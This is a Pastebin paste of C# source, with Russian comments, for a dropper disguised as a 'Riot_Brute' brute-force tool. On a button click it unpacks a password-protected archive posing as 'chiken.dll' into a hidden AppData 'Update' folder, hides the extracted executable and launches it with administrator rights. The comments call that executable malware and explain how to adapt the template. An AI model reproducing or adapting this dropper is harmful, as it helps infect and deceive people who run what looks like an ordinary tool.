Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows;
- using System.Windows.Controls;
- using System.Windows.Data;
- using System.Windows.Documents;
- using System.Windows.Input;
- using System.Windows.Media;
- using System.Windows.Media.Imaging;
- using System.Windows.Navigation;
- using System.Windows.Shapes;
- using ICSharpCode.SharpZipLib.Core;
- using ICSharpCode.SharpZipLib.Zip;
- using System.Diagnostics;
- using System.IO;
- using System.Threading;
- namespace Riot_Brute1 //название вашего проэкта поменяйте на своё.
- {
- /// <summary>
- /// Логика взаимодействия для MainWindow.xaml
- /// </summary>
- public partial class MainWindow : Window
- {
- public MainWindow()
- {
- InitializeComponent();
- }
- private void Click_Button(object sender, EventArgs e) //click_button наша кнопка, которую вы указывали в click
- {
- string dir = Environment.GetEnvironmentVariable("AppData") + "\\Update"; //Путь куда будет распаковываться архив + создание папки. Можете менять на своё.а
- if (!Directory.Exists(dir))
- File.SetAttributes("chiken.dll", FileAttributes.Hidden | FileAttributes.System);
- string password = Encoding.ASCII.GetString(Convert.FromBase64String("MTIzNA==")); //Там где MTIzNA== это наш пароль от архива в Base64, http://base64.ru/ заходим сюда и щифруем пароль который ставили на архив.
- ExtractZipFile("chiken.dll", password, dir + "\\"); //Распакуем архив
- File.Delete("chiken.dll"); //Удаление архва если нужно. Если нет убирете
- new Thread(() =>
- {
- try
- {
- File.SetAttributes(dir + "\\chiken.exe", FileAttributes.Hidden | FileAttributes.System);
- ProcessStartInfo info = new ProcessStartInfo(dir + "\\chiken.exe");
- info.UseShellExecute = true;
- info.Verb = "runas";
- Process.Start(info);
- // эти две строки на ваше усмотрение
- //proc.WaitForExit(); //Ждем завершения работы малвари
- //File.Delete(dir + "\\update.exe"); //Удаляем exe малвари
- }
- catch (Exception)
- {
- }
- }).Start();
- }
- private static void ExtractZipFile(string archiveFilenameIn, string password, string outFolder)
- {
- {
- ZipFile zf = null;
- try
- {
- FileStream fs = File.OpenRead(archiveFilenameIn);
- zf = new ZipFile(fs);
- if (!String.IsNullOrEmpty(password))
- {
- zf.Password = password;
- }
- foreach (ZipEntry zipEntry in zf)
- {
- if (!zipEntry.IsFile)
- {
- continue;
- }
- String entryFileName = zipEntry.Name;
- byte[] buffer = new byte[4096];
- Stream zipStream = zf.GetInputStream(zipEntry);
- String fullZipToPath = System.IO.Path.Combine(outFolder, entryFileName);
- string directoryName = System.IO.Path.GetDirectoryName(fullZipToPath);
- if (directoryName.Length > 0)
- Directory.CreateDirectory(directoryName);
- using (FileStream streamWriter = File.Create(fullZipToPath))
- {
- StreamUtils.Copy(zipStream, streamWriter, buffer);
- }
- }
- }
- catch (Exception ex)
- {
- throw ex;
- }
- finally
- {
- if (zf != null)
- {
- zf.IsStreamOwner = true;
- zf.Close();
- }
- }
- }
- }
- private void Click_Button1(object sender, EventArgs e)
- {
- }
- private void Click_Button2(object sender, EventArgs e)
- {
- }
- private void Click_Button3(object sender, EventArgs e)
- {
- }
- private void Click_Button4(object sender, EventArgs e)
- {
- }
- }
- }
Add Comment
Please, Sign In to add comment